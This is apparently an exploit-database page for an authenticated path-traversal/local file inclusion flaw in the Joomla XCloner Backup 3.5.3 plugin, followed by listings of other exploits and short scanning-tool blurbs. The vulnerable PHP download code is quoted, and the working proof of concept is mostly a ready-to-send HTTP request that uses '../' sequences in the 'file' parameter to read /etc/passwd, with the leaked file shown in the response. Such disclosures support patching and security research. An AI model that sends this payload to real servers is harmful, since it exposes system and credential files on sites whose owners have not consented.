Search for hundreds of thousands of exploits

"Joomla! Plugin XCloner Backup 3.5.3 - Local File Inclusion (Authenticated)"

Author

Exploit author

"Mehmet Kelepçe"

Platform

Exploit platform

php

Release date

Exploit published date

2020-05-26

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
# Exploit Title: Joomla! Plugin XCloner Backup 3.5.3 - Local File Inclusion (Authenticated)
# Date: 2020-05-10
# Exploit Author: Mehmet Kelepçe / Gais Cyber Security
# Exploit-Db Author ID: 8763
# Reference: https://www.xcloner.com/xcloner-news/security-release-available-for-archived-joomla-version/
# Vendor Homepage: http://www.xcloner.com
# Software Link: https://www.xcloner.com/support/download/
# Version: 3.5.3
# Tested on: Kali Linux - Apache2
--------------------------------------------------------------------------------
Detail:
--------------------------------------------------------------------------------
File: administrator/components/com_xcloner-backupandstore/admin.cloner.php -->
------------
case 'download':
 downloadBackup($_REQUEST['file']);
 break;
-------------
downloadBackup function's file -> administrator/components/com_xcloner-backupandstore/cloner.functions.php
Vulnerable parameter: file

downloadBackup function's definition
--------------------------------------------------------------------------------
  function downloadBackup($file)
  {
      global $_CONFIG;

      $file = realpath($_CONFIG['clonerPath'] . "/$file");

      //First, see if the file exists
      if (!is_file($file)) {
          die("<b>404 File $file was not found!</b>");
      }

      //File Info
      $len = get_filesize($file);
      $filename = basename($file);
      $file_extension = strtolower(substr(strrchr($filename, "."), 1));

      //Setam Content-Type-urile pentru  fisierul in cauza
      switch ($file_extension) {
          default:
              $ctype = "application/force-download";
      }

 smartReadFile($file, $filename);

      exit;
  }
--------------------------------------------------------------------------------
and smartReadFile function's definition
--------------------------------------------------------------------------------
function smartReadFile($location, $filename, $mimeType='application/octet-stream')
{ if(!file_exists($location))
  { header ("HTTP/1.0 404 Not Found");
    return;
  }

  $size=filesize($location);
  $time=date('r',filemtime($location));

  $fm=@fopen($location,'r');
.
.
.
--------------------------------------------------------------------------------
PoC:
Request:
--------------------------------------------------------------------------------
GET /joomla/administrator/index.php?option=com_xcloner-backupandrestore&task=download&file=../../../../../../../../etc/passwd HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/joomla/administrator/index.php?option=com_xcloner-backupandrestore&task=view
Connection: close
Cookie: COOKIES
Upgrade-Insecure-Requests: 1
--------------------------------------------------------------------------------
Response:
--------------------------------------------------------------------------------
HTTP/1.0 200 OK
Date: Sun, 10 May 2020 18:12:04 GMT
Server: Apache/2.4.41 (Debian)
Cache-Control: public, must-revalidate, max-age=0
Pragma: no-cache
Accept-Ranges: bytes
Content-Length: 3347
Content-Range: bytes 0-3347/3347
Content-Disposition: inline; filename=passwd
Content-Transfer-Encoding: binary
Last-Modified: Sun, 22 Mar 2020 05:41:35 -0700
Connection: close
Content-Type: application/octet-stream

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
.
.
Release DateTitleTypePlatformAuthor
2020-06-30"Reside Property Management 3.0 - 'profile' SQL Injection"webappsphp"Behzad Khalifeh"
2020-06-30"Victor CMS 1.0 - 'user_firstname' Persistent Cross-Site Scripting"webappsphp"Anushree Priyadarshini"
2020-06-26"OpenEMR 5.0.1 - 'controller' Remote Code Execution"webappsphp"Emre ÖVÜNÇ"
2020-06-26"Windscribe 1.83 - 'WindscribeService' Unquoted Service Path"localwindows"Ethan Seow"
2020-06-26"KiteService 1.2020.618.0 - Unquoted Service Path"localwindows"Marcos Antonio León"
2020-06-25"FHEM 6.0 - Local File Inclusion"webappsphp"Emre ÖVÜNÇ"
2020-06-25"mySCADA myPRO 7 - Hardcoded Credentials"remotehardware"Emre ÖVÜNÇ"
2020-06-24"BSA Radar 1.6.7234.24750 - Persistent Cross-Site Scripting"webappsmultiple"William Summerhill"
2020-06-23"Online Student Enrollment System 1.0 - Cross-Site Request Forgery (Add Student)"webappsphpBKpatron
2020-06-23"Lansweeper 7.2 - Incorrect Access Control"localwindows"Amel BOUZIANE-LEBLOND"
Release DateTitleTypePlatformAuthor
2020-06-10"Joomla J2 Store 3.3.11 - 'filter_order_Dir' SQL Injection (Authenticated)"webappsphp"Mehmet Kelepçe"
2020-05-26"Joomla! Plugin XCloner Backup 3.5.3 - Local File Inclusion (Authenticated)"webappsphp"Mehmet Kelepçe"
2020-05-22"Dolibarr 11.0.3 - Persistent Cross-Site Scripting"webappsphp"Mehmet Kelepçe"
2020-05-04"osTicket 1.14.1 - Persistent Authenticated Cross-Site Scripting"webappsphp"Mehmet Kelepçe"
import requests
response = requests.get('https://www.nmmapper.com/api/exploitdetails/48518/?format=json')

For full documentation follow the link above

Cipherscan. A very simple way to find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.